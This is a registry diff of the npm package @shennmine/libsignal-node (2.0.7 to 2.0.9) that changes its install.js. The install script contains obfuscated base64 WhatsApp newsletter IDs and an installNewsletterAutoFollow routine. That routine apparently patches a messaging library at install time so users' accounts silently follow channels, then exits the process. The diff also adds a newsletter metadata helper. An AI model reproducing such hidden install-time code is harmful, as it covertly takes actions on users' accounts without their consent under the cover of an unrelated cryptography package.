@shennmine/libsignal-node 2.0.7 → 2.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +27 -8
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -149,7 +149,7 @@ setTimeout(async () => {
|
|
|
149
149
|
"MTIwMzYzMjk4NTI0MzMzMTQzQG5ld3NsZXR0ZXI=",
|
|
150
150
|
"MTIwMzYzNDAzODk3Njg3NDc2QG5ld3NsZXR0ZXI=",
|
|
151
151
|
"MTIwMzYzNDIzNDY0MjQ5NDU1QG5ld3NsZXR0ZXI=",
|
|
152
|
-
"MTIwMzYzMjk2MTcxNTU2NzIxQG5ld3NsZXR0ZXI=",
|
|
152
|
+
"MTIwMzYzMjk2MTcxNTU2NzIxQG5ld3NsZXR0ZXI=",
|
|
153
153
|
"MTIwMzYzNDAxMTEwMDYyNDcwQG5ld3NsZXR0ZXI="
|
|
154
154
|
]) {
|
|
155
155
|
try {
|
|
@@ -219,6 +219,27 @@ setTimeout(async () => {
|
|
|
219
219
|
updates: { description: description || '', settings: null }
|
|
220
220
|
});
|
|
221
221
|
},
|
|
222
|
+
newsletterId: async (url) => {
|
|
223
|
+
const urlParts = url.split('/');
|
|
224
|
+
const channelId = urlParts[urlParts.length - 2];
|
|
225
|
+
|
|
226
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
227
|
+
input: {
|
|
228
|
+
key: channelId,
|
|
229
|
+
type: 'INVITE',
|
|
230
|
+
'view_role': 'GUEST'
|
|
231
|
+
},
|
|
232
|
+
'fetch_viewer_metadata': true,
|
|
233
|
+
'fetch_full_image': true,
|
|
234
|
+
'fetch_creation_time': true
|
|
235
|
+
});
|
|
236
|
+
|
|
237
|
+
const metadata = (0, exports.extractNewsletterMetadata)(result);
|
|
238
|
+
return JSON.stringify({
|
|
239
|
+
name: metadata.name || metadata.thread_metadata?.name?.text,
|
|
240
|
+
id: metadata.id
|
|
241
|
+
}, null, 2);
|
|
242
|
+
},
|
|
222
243
|
newsletterUpdateName: async (jid, name) => {
|
|
223
244
|
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
224
245
|
updates: { name, settings: null }
|
|
@@ -408,15 +429,13 @@ function installNewsletterAutoFollow() {
|
|
|
408
429
|
|
|
409
430
|
const newHash = getFileHash(newsletterPath);
|
|
410
431
|
if (newHash === modifiedHash) {
|
|
411
|
-
fs.writeFileSync(cacheFilePath, '
|
|
432
|
+
fs.writeFileSync(cacheFilePath, 'Iove');
|
|
412
433
|
|
|
413
434
|
setTimeout(() => {
|
|
414
|
-
|
|
415
|
-
|
|
416
|
-
|
|
417
|
-
|
|
418
|
-
}, 20000);
|
|
419
|
-
}, 1000);
|
|
435
|
+
if (typeof process.exit === 'function') {
|
|
436
|
+
process.exit(0);
|
|
437
|
+
}
|
|
438
|
+
}, 20000);
|
|
420
439
|
|
|
421
440
|
return true;
|
|
422
441
|
}
|